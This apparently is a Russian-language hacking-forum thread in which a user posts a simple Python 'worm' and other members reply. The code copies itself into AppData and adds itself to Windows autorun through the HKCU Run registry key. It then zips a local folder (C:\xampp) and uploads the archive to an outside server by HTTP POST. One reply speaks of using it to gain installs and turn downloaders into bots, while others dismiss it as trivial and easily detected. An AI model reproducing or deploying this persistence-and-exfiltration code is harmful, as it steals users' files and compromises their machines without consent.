Следуйте инструкциям в видео ниже, чтобы узнать, как установить наш сайт как веб-приложение на главный экран вашего устройства.
Примечание: Эта функция может быть недоступна в некоторых браузерах.
Вы используете устаревший браузер. Этот и другие сайты могут отображаться в нём неправильно. Необходимо обновить браузер или попробовать использовать другой.
Всем доброго времени суток, участники Codeby!
Перед шарагой нечего было делать, настрочил простенький червь на питоне, что бы он
послужил вам примером/неким представлением "тёмной" области этого языка.
Добавим наш заражённый файл в какую-нибудь папку, где он не будет мозолить
пользователю глаза, я долго думать не стал, т.к это всего лишь пример и добавил его в
папку AppData.
Python:
directory = os.getenv("APPDATA") + r'/your_program/'
base_file = directory + os.path.basename(__file__)
if not os.path.exists(directory):
os.makedirs(directory)
shutil.copy(__file__, base_file)
Первым делом я решил закрепить наш файл в автозапуске операционной системе,
делал я это через реестр.Тут нам поможет модуль winreg.
В переменной мы установили путь до реестра, дальше добавили значение нашего вируса,
лучше назвать его как-то неприметно, но я во все услышание ознаменовал его 'Virus'.
И устанавливаем путь до файла (base_file).
Ну и тупо в три строчки напишем тело нашего червя xD
Python:
# Добавляем папку в аврхив
shutil.make_archive(r'Имя архива', 'zip', r'Папка')
# Отправляем архив на сервер
files = {'Имя архива': open('Имя архива', 'rb')}
r = requests.post('http://httpbin.org/post', files=files)
Добавляем его в архив и отправляем его на сервер с помощью post запроса.
В итоге у нас должно получиться что-то наподобие этого
Python:
import shutil
import os
import sys
import requests
from winreg import *
def autorun():
# Путь, который будет светиться в авторане
directory = os.getenv("APPDATA") + r'/your_program/'
base_file = directory + os.path.basename(__file__)
if not os.path.exists(directory):
os.makedirs(directory)
shutil.copy(__file__, base_file)
# Путь в реестре
path_to_reestr = OpenKey(HKEY_CURRENT_USER,
r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
0, KEY_ALL_ACCESS)
# Установить программу "Virus" в автозагрузку
SetValueEx(path_to_reestr, 'Virus', 0, REG_SZ, base_file)
# Закрыть реестр
CloseKey(path_to_reestr)
def addToZip():
# Добавляем папку в аврхив
shutil.make_archive(r'C:\\file', 'zip', r'C:\xampp')[/SPOILER]
# Отправляем архив на сервер
files = {'file.zip': open('C:\\file.zip', 'rb')}
r = requests.post('http://httpbin.org/post', files=files)
autorun()
addToZip()
добавлю как способ добычи инсталлов и для безопасности так как каждый второй качает,
даже не смотрит код с гитхаба как итог становиться чьим то ботом потом
Тогда, вы хотели сказать, вирус? И то недопиленный, без какого либо вируса. Это механизм размножения. Червь - дожен копировать своё тело, которое должно копировать своё тело. Вирус должен пытаться заражать процессы и дописывать свою днк в конец программ без изменения их функционала. Это хотели показать? Так покажите. Возьмите дырку какую-то в ОС и внедритесь в процесс. А у вас НЕТ ВРЕДОНОСА, обычный софт
Лол на добавление ключа в реестр по этому пути ругаются почти все ав. У юзера как правило нет питона на компе. Черви это все же несколько другая вещь. Мне нравится как они у Криса описаны, почитайте
Лол на добавление ключа в реестр по этому пути ругаются почти все ав. У юзера как правило нет питона на компе. Черви это все же несколько другая вещь. Мне нравится как они у Криса описаны, почитайте
Лол на добавление ключа в реестр по этому пути ругаются почти все ав. У юзера как правило нет питона на компе. Черви это все же несколько другая вещь. Мне нравится как они у Криса описаны, почитайте
Согласен с многими кто пишет "какой это вирус, он никакого вреда не причиняет" но и с другой стороны, нельзя сказать что этот "скрипт" вообще бесполезный, ибо я как новичок узнал о новых модулях))
На данном сайте используются файлы cookie, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь. Продолжая использовать этот сайт, Вы соглашаетесь на использование наших файлов cookie.
Комментарии
10